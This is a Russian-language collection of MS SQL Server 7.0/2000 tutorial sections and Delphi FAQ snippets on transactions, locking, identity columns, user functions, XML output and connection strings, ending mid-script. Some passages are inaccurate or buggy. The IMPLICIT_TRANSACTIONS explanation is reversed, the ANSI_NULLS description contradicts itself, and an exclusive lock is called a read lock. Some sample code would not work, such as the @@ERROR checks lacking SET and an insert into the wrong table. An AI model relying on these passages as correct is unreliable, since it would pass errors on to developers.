После успешного оператора @@ERROR возвращает 0, поэтому, если значение ошибки может понадобиться впоследствии – его надо сохранить в переменной.

DECLARE @ErrCode INTEGER

SET @ErrCode = 0

BEGIN TRANSACTION
INSERT MyTable (Name) VALUES ('Иванов')
IF @@ERROR != 0
  @ErrCode = @@ERROR

INSERT MyTable (Name) VALUES ('Петров')
IF @@ERROR != 0
  @ErrCode = @@ERROR

IF @ErrCode = 0
  COMMIT
ELSE BEGIN
  ROLLBACK
  RAISERROR('Не удалось обновить данные', 16, 1)
END

Если оператор обновления данных не нашел ни одной записи – ошибки не возникает. Проверить эту ситуацию можно при помощи функции @@ROWCOUNT, которая возвращает количество записей, обработанных последним оператором.

UPDATE MyTable
  SET Name = 'Сидоров'
WHERE Name = 'Петров'

IF @@ROWCOUNT = 0
  PRINT 'Петров не найден'


Блокировки

MS SQL Server поддерживает блокировку на уровне записи для всех операций модификации данных. Если оптимизатор решит, что количество блокируемых записей в таблице слишком велико, то он может произвести эскалацию блокировок на страницы или всю таблицу. Это происходит, например, при одновременном обновлении значительного количества записей. В этом случае гораздо быстрее заблокировать таблицу (или группу страниц в ней) выполнить модификацию, а затем разблокировать её, чем накладывать блокировку на каждую запись. Сервер не предоставляет средств для управления эскалацией блокировок и делает её автоматически.
Другим важным вопросом является модель обеспечения уровней изоляции транзакций REPEATABLE READ и SERIAZABLE. При выполнении транзакции с этим уровнем изоляции сервер блокирует диапазоны значений полей, по которым осуществляется выборка данных для предотвращения вставки «фантомных» значений. Например, если в транзакции с уровнем изоляции SERIAZABLE будет выполнен запрос
SELECT * FROM MyTable WHERE Name BETWEEN 'A' AND 'C'
сервер наложит блокировку по записи (Shared Lock) на диапазон значений, попавших в результат запроса, предотвращая тем самым вставку «фантомных» записей другими транзакциями. Блокировка будет удерживаться до конца транзакции. На измененные транзакцией записи накладывается блокировка по чтению (Exclusive Lock), предотвращающая чтение их другими транзакциями. Поэтому транзакции с высокими уровнями изоляции необходимо тщательно планировать и делать максимально короткими.


Обработка транзакций

В MS SQL Server поддерживаются все определенные стандартом ANSI SQL 92 уровни изоляции транзакций:

READ UNCOMMITTED Позволяет транзакции читать неподтвержденные данные, других транзакций.

READ COMMITTED Предотвращает считывание транзакцией данных, не подтвержденных другой транзакцией

REPEATABLE READ Все блокировки удерживаются до конца транзакции, гарантируя идентичность повторно считанных данных прочитанным ранее.

SERIALIZABLE Гарантирует отсутствие «фантомов». Реализуется за блокирования диапазонов записей, внутри которых эти «фантомы» могут появиться.
Для установки текущего уровня изоляции используется оператор

SET TRANSACTION ISOLATION LEVEL
    {
        READ COMMITTED
        | READ UNCOMMITTED
        | REPEATABLE READ
        | SERIALIZABLE
    }

Момент начала транзакции регулируется установкой

SET IMPLICIT_TRANSACTION ON|OFF

По умолчанию она установлена в ON, и каждый оператор выполняется в отдельной транзакции. По его завершении неявно выполняется COMMIT. Если необходимо выполнить транзакцию, состоящую из нескольких операторов её надо явно начать командой BEGIN TRANSACTION. Заканчивается транзакция операторами COMMIT или ROLLBACK.
Например:

INSERT MyTable VALUES (1)
-- Выполнился внутри отдельной транзакции
BEGIN TRANSACTION
-– Начали явную транзакцию
INSERT MyTable VALUES (2)
INSERT MyTable VALUES (3)
COMMIT
–- завершили явную транзакцию

Если выдать команду

SET IMPLICIT_TRANSACTION OFF

то сервер начинает новую транзакцию, если она еще не начата и выполнился один из следующих операторов:
ALTER TABLE FETCH REVOKE
CREATE GRANT SELECT
DELETE INSERT TRUNCATE TABLE
DROP OPEN UPDATE
Транзакция продолжается до тех пор, пока не будет выдана команда COMMIT или ROLLBACK.

Возможно создание вложенных транзакций. При этом функция @@TRANCOUNT показывает глубину вложенности транзакции. Например:

BEGIN TRANSACTION
 SELECT @@TRANCOUNT  -- Выдаст 1
 BEGIN TRANSACTION
 SELECT @@TRANCOUNT  -- Выдаст 2
 COMMIT
 SELECT @@TRANCOUNT  -- Выдаст 1
COMMIT
SELECT @@TRANCOUNT  -- Выдаст 0

Вложенный BEGIN TRANSACTION не начинает новую транзакцию. Он лишь увеличивает @@TRANCOUNT на 1. Аналогично, Вложенный оператор COMMIT не завершает транзакцию, а лишь уменьшает @@TRANCOUNT на 1. Реальное завершение транзакции происходит, когда @@TRANCOUNT становится равным 0. Такой механизм позволяет писать хранимые процедуры, содержащие транзакцию, например:

CREATE PROCEDURE Foo
AS BEGIN
  BEGIN TRANSACTION
  INSERT MyTable VALUES (1)
  INSERT MyTable VALUES (1)
  COMMIT
END

При запуске вне контекста транзакции процедура выполнит свою транзакцию. Если она запущена внутри транзакции – внутренние BEGIN TRANSACTION и COMMIT просто увеличат и уменьшат счетчик транзакций.
Поведение ROLLBACK отличается от вышеописанного. ROLLBACK всегда, независимо от текущего уровня вложенности устанавливает @@TRANCOUNT в 0 и отменяет все изменения, начиная с начала самой внешней транзакции. Если в хранимой процедуре возможен откат её действий, исходя из какого-то условия, можно использовать точки сохранения (savepoint)

CREATE PROCEDURE Foo
AS BEGIN
  BEGIN TRANSACTION
  -- Этот оператор не может быть отменен вне контекста
  -- основной транзакции
  INSERT MyTable VALUES (1)
   SAVE TRANSACTION InsideFoo
    -- Операторы, начиная отсюда могут быть отменены
    -- без отката основной транзакции
    INSERT MyTable VALUES (2)
    INSERT MyTable VALUES (3)
    IF (SELECT COUNT(*) FROM MyTable) > 3
      ROLLBACK TRANSACTION InsideFoo
      -- Отменяем изменения, внесенные после
      -- последнего savepoint
  COMMIT
END

Отдельного обсуждения заслуживает ROLLBACK вызванный в триггере.
В этом случае не только откатывается транзакция, в рамках которой произошло срабатывание триггера, но и прекращается выполнение пакета команд, внутри которого это произошло. Все операторы, следующие за оператором, вызвавшим триггер, не будут выполнены. Рассмотрим эту ситуацию на примере:

CREATE TABLE MyTable (Id INTEGER)

GO

CREATE TRIGGER MyTrig ON MyTable FOR INSERT
AS BEGIN
  IF (SELECT MAX(Id) FROM Inserted) >= 2 BEGIN
    ROLLBACK
    RAISERROR('Id >= 2', 17, 1)
  END
END

GO

INSERT MyTable VALUES (1)
INSERT MyTable VALUES (2) – Вызовет ROLLBACK в триггере
-- Операторы, начиная отсюда не выполнятся
INSERT MyTable VALUES (3)
INSERT MyTable VALUES (4)


Соответствие стандарту ANSI SQL 92

Соответствие стандарту ANSI SQL 92
В MS SQL Server имеются настройки, позволяющие изменять степень соответствия сервера стандарту ANSI SQL 92.
SET ANSI_NULLS {ON|OFF} – регулирует результат сравнения значений, содержащих NULL. Если ANSI_NULLS = OFF, то запрос

SELECT * FROM MyTable WHERE MyField = NULL

Вернет все строки, в которых MyField установлено в NULL. Если ANSI_NULLS = OFF, то, в соответствии со стандартом ANSI SQL92 сравнение с NULL возвращает UNKNOWN. Другие установки, на которые следует обратить внимание:
SET CURSOR_CLOSE_ON_COMMIT Устанавливает режим закрытия курсоров по завершению транзакции
SET ANSI_NULL_DFLT_ON и SET ANSI_NULL_DFLT_OFF Устанавливают nullability полей по умолчанию при создании таблицы
SET IMPLICIT_TRANSACTIONS Устанавливает режим Autocommit
SET ANSI_PADDING Устанавливает режим «отсечения» концевых пробелов для вновь создаваемых полей
SET QUOTED_IDENTIFIER Разрешает выделение идентификаторов двойными кавычками
SET ANSI_WARNINGS Устанавливает реакцию на математические ошибки
Рассмотрение этих параметров выходит за рамки книги, однако необходимо обратить на них внимание при чтении документации.
Установка SET ANSI_DEFAULTS устанавливает режим максимальной совместимости с ANSI SQL92. При установке SET ANSI_DEFAULTS ON устанавливаются в ON следующие параметры:
SET ANSI_NULLS SET CURSOR_CLOSE_ON_COMMIT
SET ANSI_NULL_DFLT_ON SET IMPLICIT_TRANSACTIONS
SET ANSI_PADDING SET QUOTED_IDENTIFIER
SET ANSI_WARNINGS
По умолчанию ANSI_DEFAULTS = ON для клиентов ODBC и OLE DB (ADO) и OFF для клиента DB-Library (BDE). Поскольку предпочтительным (и поддерживаемым в будущем) методом доступа является OLE DB, то при разработке клиентской части, использующей BDE, рекомендуется явно устанавливать SET ANSI_DEFAULTS ON. С разностью этой установки связана и проблема, возникающая при разработке запросов при помощи Query Analyzer. Если в нем и в клиентском приложении имеются разные настройки совместимости с ANSI – одни и те же запросы могут выдавать разные результаты. Поэтому рекомендуется проверять настройки Query Analyzer на предмет соответствия их тем, что предполагается иметь в клиенте.


Модель безопасности

Роли
Вместо групп пользователей, использовавшихся в предыдущих версиях, седьмая версия использует роли пользователей. Права могут даваться или отниматься у роли, и это отражается на правах всех пользователей, ассоциированных с этой ролью. Пользователь может быть ассоциирован одновременно с несколькими ролями.
Для облегчения управления сервером и базами данных поддерживаются встроенные серверные роли и роли баз данных. Так, например, серверная роль serveradmin дает право на настройку конфигурации и остановку сервер, а роль базы данных db_securityadmin позволяет управлять правами доступа пользователей. Набор встроенных ролей позволяет не предоставлять административных привилегий пользователям, нуждающимся в каких-либо специфических правах. Так, роль db_securityadmin не предоставляет своим членам прав на чтение или модификацию пользовательских таблиц.

Интегрированная безопасность
Сильной стороной MS SQL Server является его тесная интеграция с системой безопасности Windows NT. Права на доступ к серверу и базам данных можно давать пользователям и группам Windows NT. Механизм делегирования полномочий позволяет пользователям, подключившимся к одному из серверов иметь доступ к другим серверам в сети со своими правами, отличающимися от прав сервера, к которому они подключились. Также возможна прозрачная для пользователя проверка его полномочий при доступе к серверу через Microsoft Internet Information Server или Microsoft Transaction Server


Оптимизатор запросов MS SQL Server

В версии 7.0 существенно переработан оптимизатор запросов. Сервер может использовать несколько индексов на каждую таблицу в запросе, один запрос может исполняться параллельно на нескольких процессорах. В нем реализованы 3 метода выполнения операции слияния таблиц (JOIN):
1. LOOP JOIN – для каждой записи в одной из таблиц производится цикл по связанным записям второй таблицы. Этот метод наиболее эффективен для малых результирующих наборов данных.
2. MERGE JOIN – требует, чтобы оба набора данных были отсортированы по сливаемому полю (набору полей). В этом случае сервер осуществляет слияние за один проход по каждому из наборов данных. Т.к. они уже упорядочены, то нет необходимости просматривать все записи, достаточно выбирать их, начиная с текущей, пока значение поля не изменится. Это самый быстрый метод слияния больших наборов данных.
3. HASH JOIN – используется, когда невозможно использовать MERGE JOIN, а наборы данных велики. По одному из наборов строится хэш-таблица, а затем для каждой записи из второго набора вычисляется та же хэш функция и производится её поиск в таблице. На больших не отсортированных наборах данных этот алгоритм существенно эффективнее, чем LOOP JOIN.

При фильтрации по индексу сервер не осуществляет сразу выборку данных из таблицы. Вместо этого строится набор «закладок» (Bookmark), а затем производится выборка данных в одной операции (Bookmark Lookup). Это позволяет резко снизить количество обращений к диску.
Новые стратегии оптимизации требуют учета при проектировании БД и структуры индексов. Например, для следующей структуры таблиц:

CREATE TABLE T1 (
 Id INTEGER PRIMARY KEY,
 ...
)

CREATE TABLE T2 (
 Id INTEGER PRIMARY KEY,
 ...
)

CREATE TABLE T3 (
 Id INTEGER PRIMARY KEY,
 T1Id INTEGER REFERENCES T1(Id),
 T2Id INTEGER REFERENCES T2(Id),
 ...
)

Запрос
SELECT *
  FROM T1
   INNER JOIN T3 ON T1.Id = T3.T1Id
   INNER JOIN T2 ON T2.Id = T3.T2Id
WHERE ...

Может быть существенно ускорен созданием индексов:

CREATE INDEX T3_1 ON T3(T1Id, T2Id)

Он позволят после слияния T3 с T1 получить набор данных, упорядоченный по T2Id, который может быть слит с T2 путем эффективного алгоритма MERGE JOIN. Впрочем, возможно лучший эффект даст индекс:

CREATE INDEX T3_2 ON T3(T2Id, T1Id)

Это зависит от количества записей в T1, T2 и распределения их сочетаний в T3. В OLAP системе (или в слабо загруженной OLTP) лучше построить оба этих индекса, в то время как при интенсивном обновлении таблицы T3 возможно от одного из них придется отказаться. Сервер может сам выдать рекомендации по построению индексов – для этого в него включен Index Tuning Wizard, доступный через Query Analyzer. Он анализирует запрос (или поток команд, собранный при помощи SQL Trace) и выдает рекомендации по структуре индексов в конкретной БД.
В процессе работы с MS SQL Server мною были обнаружены два «тонких» места в оптимизаторе запросов, которые рекомендуется учитывать.
Алгоритм выбора способа объединения таблиц не всегда выдает оптимальный результат. Это обычно бывает связано, с невозможностью определить точное количество записей, участвующих в объединении на момент генерации плана запроса.

DECLARE @I INTEGER

SET @I = 10

SELECT *
  FROM History H
   INNER JOIN Objects O ON O.Id = H.ObjectId
 WHERE H.StatusId = @I

Сервер сгенерировал следующий план исполнения:

Обращаю внимание – в качестве параметра выступает переменная при этом сервер не может точно оценить в какой диапазон статистики она попадет. В этом случае он делает предположение, что количество записей, полученных из History, будет равно средней селективности по используемому полю, помноженной на количество записей в таблице, в данном случае - 10151. Исходя из этого выбирается алгоритм слияния HASH JOIN, требующий значительных накладных расходов на построение хэш-таблицы. В случае, если реальное количество записей ощутимо меньше (реально этот запрос выбирает 100-200 записей за последний день, имеющих соответствующий StatusId), алгоритм LOOP JOIN дает во много раз лучшую производительность. Итак, если Вы точно знаете, что фильтрация по конкретному полю даст ограниченный набор данных (не более нескольких сотен записей), а сервер об этом "не догадывается" – укажите ему алгоритм слияния явно.

SELECT *
  FROM History H
   INNER LOOP JOIN Objects O ON O.Id = H.ObjectId
 WHERE H.StatusId = @I

Делать это надо, только если Вы уверены, что этот запрос будет выполняться со значениями параметра, имеющими высокую селективность. На больших наборах данных LOOP JOIN будет гораздо медленнее.
Цена операции Bookmark Lookup (извлечение данных из таблицы по известным значениям индекса) явно завышена. Поэтому иногда, даже при наличии подходящего, индекса вместо INDEX SCAN (поиск по индексу) с последующим Bookmark Lookup (выборка из таблицы) сервер принимает решение о полном сканировании таблицы (TABLE SCAN или CLUSTERED INDEX SCAN). Пример такого запроса приведен на рисунке. Обратите внимание на предполагаемую стоимость запроса (Estimated subtree cost) для случая, когда для таблицы явно задан поиск по индексу. Она чрезвычайно завышена. Видно, что 100% расчетной стоимости выполнения дает операция Bookmark Lookup. Реально же этот запрос выполняется быстрее при индексном доступе, чем при сканировании таблицы. В этом случае рекомендуется попробовать явно указать индекс для доступа к таблице.

Однако считаю нужным предостеречь от слишком частого использования подсказок оптимизатору. Их можно использовать, только если Вы знаете, что этот запрос будет выполняться в конкретных условиях и Вам лучше, чем оптимизатору известно распределение данных в таблице. В большинстве случаев оптимизатор запросов сам хорошо планирует его выполнение. Предпочтительным способом оптимизации представляется грамотное планирование структуры индексов.


Получение уникальных идентификаторов

Сервер имеет средства для автоматической генерации уникальных идентификаторов, который могут использоваться в качестве первичного ключа. В качестве этих значений могут выступать целые числа, либо новый тип данных UNIQUEIDENTIFIER
Для получения целочисленного уникального идентификатора записи в MSSQL используется ключевое слово IDENTITY [(seed, increment)].
Здесь:
seed – начальное значение
increment – приращение
По умолчанию seed и increment равны 1
Чтобы создать в таблице автоинкрементный столбец необходимо написать:

 CREATE TABLE TableName (
   Id INTEGER NOT NULL IDENTITY
 )

Только одна колонка в таблице может иметь атрибут IDENTITY. Эта колонка должна иметь тип TINYINT, SMALLINT, INT или DECIMAL(p,0) После этого при вставке новых записей поле Id будет получать новое значение счетчика. Если таблица имеет поле с установленным IDENTITY, то к этому полю можно обратиться при помощи ключевого слова IDENTITYCOL, например запрос

 SELECT IDENTITYCOL FROM TableName

Эквивалентен

 SELECT Id FROM TableName

если поле Id создано с атрибутом IDENTITY
Значение последнего поля с IDENTITY, вставленного текущей сессией можно получить функцией @@IDENTITY. Например, следующий скрипт добавляет записи в главную и дочернюю таблицы.

DECLARE @IdentityValue INTEGER

INSERT MainTable (Name) VALUES ('Петров')

SELECT @IdentityValue = @@IDENTITY

INSERT ChildTable (MainId, Data) VALUES (@IdentityValue, 'Первая')
INSERT ChildTable (MainId, Data) VALUES (@IdentityValue, 'Вторая')

Обращаю внимание, что если значение ключевого поля нужно для нескольких вставок, то его необходимо сохранить в переменной, в противном случае, при наличии у ChildTable своего поля с IDENTITY после первой вставки в неё @@IDENTITY вернет уже значение для ChildTable.
При использовании вышеописанной техники необходимо соблюдать осторожность при написании триггеров. Если триггер на MainTable сам производит вставку в какие-то таблицы с IDENTITY, то после
INSERT MainTable (Name) VALUES ('Петров')
Функция @@IDENTITY уже не вернет значения для MainTable.
В версии MSSQL 2000 появилась функция SCOPE_IDENTITY(), которая аналогична @@IDENTITY, однако возвращает значение, вставленное в текущем контексте (триггере, хранимой процедуре, пакете команд). Например, в предыдущем примере SCOPE_IDENTITY() вернет значение, вставленное в MainTable, независимо от операций в триггере, поскольку они выполняются уже не в текущем контексте.
Значения seed и increment можно использовать, например, для предоставления диапазонов значений первичного ключа в распределенной БД. Например, один филиал может генерировать значения, начиная с 1, другой с 1 000 000 и т.д.
По умолчанию в поле с IDENTITY не может быть вставлено явное значение. Однако MS SQL Server позволяет разрешить такую вставку путем установки
 SET IDENTITY_INSERT [database.[owner.]]{table} {ON|OFF}
Вставка может быть разрешена только для одной таблицы в сессии. Если в таблицу вставляется число, большее максимального значения сервер использует это число как основу для генерации последующих значений IDENTITY
Другим способом генерации уникальных идентификаторов, появившемся в MS SQL 7.0 является тип данных UNIQUEIDENTIFIER. Физически это 16-байтовое число. Этот тип аналогичен GUID (Global Unique Identifier), активно использующемся в технологии COM. Над этим типом данных определены только операции =, <>, IS NULL и IS NOT NULL. Сравнение >, < и т.п. не допускается. Для генерации значений используется функция NEWID()

CREATE TABLE MyUniqueTable (
 UniqueColumn UNIQUEIDENTIFIER DEFAULT NEWID(),
 Characters VARCHAR(10)
)

GO

INSERT INTO MyUniqueTable(Characters) VALUES ('abc')
INSERT INTO MyUniqueTable VALUES (NEWID(), 'def')

Приведенные операторы вставки эквивалентны и оба создают записи с уникальными значениями UniqueColumn. Аналогично, значение может быть предоставлено клиентским приложением функцией CoCreateGUID при помощи свойства AsGUID классов TField и TParam, без опасения, что оно окажется неуникальным.


Временные таблицы

Для промежуточной обработки данных клиентское приложение может создавать временные таблицы. Временной является таблица, имя которой начинается с # или ##. Таблица, имя которой начинается с # является локальной и видима только той сессии, в которой она была создана. После завершения сеанса временные таблицы, созданные им автоматически удаляются. Если временная таблица создана внутри хранимой процедуры, она автоматически удаляется по завершению процедуры. Если имя таблицы начинается с ##, то она является глобальной и видима всеми сессиями. Таблица удаляется автоматически, когда завершается последняя из использовавших её сессий.
Для примера рассмотрим хранимую процедуру, которая выдает значения продаж по месяцам. Если в данном месяце продаж не было, выводится имя месяца и NULL.

CREATE PROCEDURE AmountsByMonths
AS BEGIN
 DECLARE @I INTEGER
 CREATE TABLE #Months (
   Id INTEGER,
   Name CHAR(20)
 )
 SET @I = 1
 WHILE (@I <= 12) BEGIN
   INSERT Months (Id, Name) VALUES
     (@I, DATENAME(month, '1998' + REPLACE(STR(@I,2),' ','0')+'01'))
   SET @I = @I + 1
 END
 SELECT M.Name, SUM(P.Amount)
   FROM #Months M INNER JOIN Payment P
    ON M.Id = DATEPART(month, P.Date)
 DROP TABLE #Months
END

В версии MSSQL 2000 появилась возможность создавать переменные типа table, которые представляют собой таблицу. Работа с такой переменной может выглядеть следующим образом:

DECLARE @T TABLE (Id INT)

INSERT @T (Id) VALUES (10250)
INSERT @T (Id) VALUES (10257)
INSERT @T (Id) VALUES (10259)

SELECT O.*
  FROM Orders O
   INNER JOIN @T AS T ON O.OrderId = T.Id

Использование переменных типа table более предпочтительно, чем использование временных таблиц, поскольку последние приводят к невозможности кэширования плана запроса (он генерируется при каждом выполнении), а в случае переменных этого не происходит.


Создание хранимых процедур и триггеров

Если логика работы процедуры или триггера требует установки каких-либо SET-параметров в определенные значения, процедура или триггер могут установить их внутри своего кода. По завершении их выполнения будут восстановлены исходные параметры, которые были на сервере до запуска процедуры или оператора, вызвавшего срабатывание триггера. Исключением являются SET QUOTED_IDENTIFIER и SET ANSI_NULLS для хранимых процедур. Сервер запоминает их на момент создания процедуры и автоматически восстанавливает при исполнении.
MS SQL Server использует отложенное разрешение имен объектов и позволяет создавать процедуры и триггеры, которые ссылаются на объекты, не существующие при их создании.


Кластерные индексы

MS SQL Server позволяет иметь в таблице один кластерный (CLUSTERED) индекс. Данные в таблице физически расположены на нижнем уровне B-дерева этого индекса, поэтому доступ по нему является самым быстрым. По умолчанию такой индекс автоматически создается по полю, объявленному первичным ключом. Все остальные индексы в качестве ссылки на запись хранят значение кластерного индекса этой записи, поэтому не рекомендуется строить его по полям большого размера. Также, для оптимизации операции вставки записей рекомендуется строить этот индекс по полю с монотонно возрастающими значениями. Исходя из этих рекомендаций, лучший кандидат на построение кластерного индекса – поле INTEGER (минимальный размер) IDENTIY (возрастание), объявленное как первичный ключ (заведомо уникальное, частый доступ по этому индексу).


Определяемые пользователем функции

В версии MSSQL 2000 появилась возможность создавать в БД функции. Функции могут быть трех типов:

Скалярные функции
Эти функции возвращают скалярную величину. Они аналогичны функциям в любом языка программирования

CREATE FUNCTION FirstWord (@S VARCHAR(255))
RETURNS VARCHAR(255)
AS
BEGIN
 DECLARE @I INT
 SET @I = CHARINDEX(' ', @S)
 RETURN CASE @I WHEN 0 THEN @S
                ELSE LEFT(@S, @I-1)
        END
END
GO

SELECT dbo.FirstWord ('Hello world !')

Inline табличные функции

Эти функции состоят из одного оператора SELECT и возвращают его результат в виде таблицы

CREATE FUNCTION OrdersByCustomer (@S VARCHAR(255))
RETURNS TABLE
AS
  RETURN SELECT * FROM Orders WHERE CustomerId = @S
GO

SELECT *
  FROM OrdersByCustomer('VINET') AS T
    INNER JOIN [Order Details] OD ON OD.OrderId = T.OrderId

Многооператорные табличные функции
Эти функции наиболее интересны, поскольку позволяют динамически сформировать таблицу с требуемыми данными, которую затем можно использовать в запросе
В качестве примера рассмотрим функцию, генерирующую таблицу, содержащую номера и названия месяцев года. Параметр позволяет сгенерировать эту таблицу за один квартал.

CREATE FUNCTION Months (@Quoter INT)
RETURNS @table_var TABLE
   (Id int,
    Name VARCHAR(20))
AS
BEGIN
 DECLARE @Start INTEGER, @End INTEGER

 SET @Start = CASE
   WHEN @Quoter = 2 THEN 4
   WHEN @Quoter = 3 THEN 7
   WHEN @Quoter = 4 THEN 10
   ELSE 1
 END

 SET @End = CASE
   WHEN @Quoter = 1 THEN 3
   WHEN @Quoter = 2 THEN 6
   WHEN @Quoter = 3 THEN 9
   ELSE 12
 END

 WHILE (@Start <= @End) BEGIN
   INSERT @table_var (Id, Name) VALUES
     (@Start, DATENAME(month, '1998' + REPLACE(STR(@Start,2),' ','0')+'01'))
   SET @Start = @Start + 1
 END

 RETURN
END
GO

SELECT T.Name, SUM(O.Freight)
 FROM dbo.Months(NULL) AS T
   INNER JOIN Orders O ON DATEPART(month, O.OrderDate) = T.Id
GROUP BY T.Name

Также, при помощи подобных функций можно легко раскрывать иерархии и выполнять прочие задачи, которые в предыдущих версиях сервера требовали временных таблиц.


Советы по работе с MS SQL Server

· Устанавливайте SET NOCOUNT ON. При установке OFF после каждого оператора сервер посылает клиенту сообщение DONE_IN_PROC с количеством обработанных записей. Запретив это, Вы кардинально сократите сетевой трафик и существенно увеличите производительность.
· При необходимости изменить режим блокирования какой-либо таблицы без изменения уровня изоляции транзакций используйте подсказки режима блокирования. Например, в следующем примере оператор SELECT накладывает на запись, предотвращая изменение её другими сессиями до окончания транзакции, несмотря на то, что установленный уровень изоляции не предусматривает этого:

SET TRANSACTION ISOLATION LEVEL READ COMMITED

BEGIN TRANSACTION
  SELECT * FROM City
   WHERE Name = 'Ленинград'
   WITH (HOLDLOCK)
  -- Какие-то операторы, во время их выполнения
  -- запись остается заблокированной
  UPDATE City
     SET Name = 'Санкт-Петербург'
   WHERE Name = 'Ленинград'
COMMIT

· Явно указывайте параметры в запросах. Это поможет серверу более эффективно кэшировать планы выполнения. При динамическом формировании текста запроса не подставляйте параметры в текст, а используйте хранимую процедуру sp_executesql
· Не начинайте названия своих хранимых процедур с префикса «sp_». Сервер ищет процедуры с такими именами в первую очередь в базе данных Master, а затем уже в текущей БД. Это приводит к дополнительным накладным расходам.
· Если Ваше приложение интенсивно использует базу данных tempdb (например, создает много временных таблиц) – увеличьте её минимальный размер. В противном случае при старте сервера создается tempdb малого размера, которая затем динамически расширяется, непроизводительно загружая компьютер.


Поиск по мемо полям

В MS SQL Server 2000 включена специальная версия MS Index Server, которая позволяет построить по текстовым (включая BLOB) полям полнотекстовый индекс и расширения SQL, позволяющие строить запросы по этому индексу, например:

SELECT ProductName
  FROM Products
 WHERE CONTAINS(ProductName, 'spread NEAR Boysenberry')

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Как вернуть результат в виде XML?

В MSSQL 2000 можно в запросе указать выражение FOR XML, в результате чего будет возвращена строка, содержащая XML представление выборки. Например, запрос:

SELECT O.OrderID, O.CustomerID, O.OrderDate,
  O.ShipName, O.ShipAddress, O.ShipCity, O.ShipRegion,
  P.ProductName, OD.UnitPrice, OD.Quantity
  FROM Orders O
    INNER JOIN [Order Details] OD ON O.OrderId = OD.OrderId
    INNER JOIN Products P ON OD.ProductId = P.ProductId
WHERE O.OrderId = '10248'
FOR XML AUTO

Вернет результат:
<O OrderID="10248"
   CustomerID="VINET"
   OrderDate="1996-07-04T00:00:00"
   ShipName="Vins et alcools Chevalier"
   ShipAddress="59 rue de l&apos;Abbaye"
   ShipCity="Reims">
   <P ProductName="Queso Cabrales">
     <OD UnitPrice="14.0000" Quantity="12"/>
   </P>
   <P ProductName="Singaporean Hokkien Fried Mee">
     <OD UnitPrice="9.8000" Quantity="10"/>
   </P>
   <P ProductName="Mozzarella di Giovanni">
     <OD UnitPrice="34.8000" Quantity="5"/>
   </P>
</O>
Возможно как автоматическое форматирование XML результатов запроса, так и задание способа форматирования программистом.
Кроме этого возможно использование XML данных в качестве таблицы в запросе. В качестве примера рассмотрим хранимую процедуру, выдающую данные по заранее неизвестному количеству записей. Идентификаторы записей передаются в неё в виде XML-документа

CREATE PROCEDURE XMLParam
 @Ids VARCHAR(8000)
AS
 DECLARE @idoc int
 EXEC sp_xml_preparedocument @idoc OUTPUT, @Ids
 SELECT O.*
   FROM Orders O
    INNER JOIN OPENXML (@idoc, '/ROOT/Ids', 1) WITH (ID INT) AS T ON
 .OrderId = T.Id
 EXEC sp_xml_removedocument @idoc
GO

Вызов этой процедуры выглядит следующим образом:
DECLARE @S VARCHAR(8000)

SET @S = '<ROOT>
<Ids ID="10250"/>
<Ids ID="10257"/>
<Ids ID="10258"/>
</ROOT>'

EXECUTE XMLParam @S
Очевидно, что соответствующая строка параметров может быть легко построена и клиентским приложением.

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Как поймать свой RAISEERROR в Delphi

procedure TFDMUtils.GeneralError(DataSet: TDataSet; E: EDatabaseError; var
  Action: TDataAction);
var
  i: Word;
  ExtInfo: string;
begin
  ExtInfo := '';

  if (E is EDBEngineError) then
  begin
    if (EDBEngineError(E).Errors[0].NativeError = 0) then
    begin // Local Error
      if EDBEngineError(E).Errors[0].Errorcode = 9732 then
        ExtInfo := DataSet.FieldByName(trim(copy(E.Message, 29,
          20))).DisplayLabel;
      .......................................
    end
    else
    begin // Remote SQL Server error
      ExtInfo := ExtractFieldLabels(DataSet, E.Message);
      case EDBEngineError(E).Errors[0].NativeError of
        233, 515:
          Alert('Ошибка', 'Hе все поля заполнены ! ' + ExtInfo);
        547:
          if (StrPos(PChar(E.Message), PChar('DELETE')) <> nil) then
            Alert('Ошибка пpи удалении',
              'Имеются подчиненные записи, удаление (изменение) невозможно! ' +
              ExtInfo)
          else if (StrPos(PChar(E.Message), PChar('INSERT')) <> nil) then
            Alert('Ошибка пpи вставке', 'Отсутствует запись в МАСТЕР-таблице! '
              + ExtInfo)
          else if (StrPos(PChar(E.Message), PChar('UPDATE')) <> nil) then
            Alert('Ошибка пpи обновлении',
              'Отсутствует запись в МАСТЕР-таблице! ' + ExtInfo);
        2601:
          Alert('Ошибка', 'Такая запись уже есть!');
      else
        Alert('Ошибка', 'Hеизвестная ошибка, код - ' +
          inttostr(EDBEngineError(E).Errors[0].NativeError) + ExtInfo);
      end;
    end;
  end;
end;

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Как построить строку подключения

Function BuildConnectionString(Database, Server, Login, Password:string):Widestring;
begin
  if Password<>'' then Password:=';Password='+Password+';Persist Security Info=True' else Password:=';Persist Security Info=False';
  result:=Format('Provider=SQLOLEDB.1%s;User ID=%s;Initial Catalog=%s;Data Source=%s', [Password, Login, Database, Server]);
end;
Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Как запустить DTS из StoredProcedure

use master
exec xp_cmdshell "DTSRun /S servername /U username /P password /N packagename"

Автор Akim
Взято из http://forum.sources.ru


Поиск значения по любому столбцу

Частенько встречается следующая ситуация. Вы работате с базой данных, в
которой множество таблиц. К концу рабочего дня голова идёт кругом от
названий столбцов, ...
Ещё ситуация: вы знаете, что где то в таблице должно было появиться опреде-
лённое число (с помощью клиентской программы ввели, например, год своего рождения,
но не желаете разбираться в таблице 200*150000, в какое именно поле и в какой строке
оно оказалось записано...
Или вам просто лень...
В общем - лень - двигатель прогресса.
Сформулируем задачу: можно ли выбрать из таблицы все записи в которых встречается
определённое значение поля в любом из столбцов?
Можно!
Именно для этого я и написал приблуду, которую и хочу представить вашему вниманию.
Надеюсь, что код достаточно хорошо прокомментирован.

declare
@sColumnName   varchar(30),
@sQuery        varchar(200),
@sTempQuery    varchar(200),
@sTabname      varchar(30),
@nSearchParam  int

----установим рабочие переменные:
SELECT @sTabname      = 'relTable'     ----имя таблицы, из которой будем производить выборку
SELECT @nSearchParam  = 9348           ----искомое значение, в данном случае - неккий id.

----все имена колонок нашей БД хранятся в таблице syscolumns, все объекты: в таблице sysobjects
----эти две таблицы мы свяжем по полю id, следующим заполним временную таблицу #cname,
----в которой будут храниться имена всех столбцов интересующей нас таблицы

SELECT c.name INTO #cname
  FROM syscolumns c, sysobjects o
  WHERE c.id = o.id
  AND c.xtype = 56
  AND o.xtype = 'U'
  AND c.type = 38
  AND o.name = @sTabname

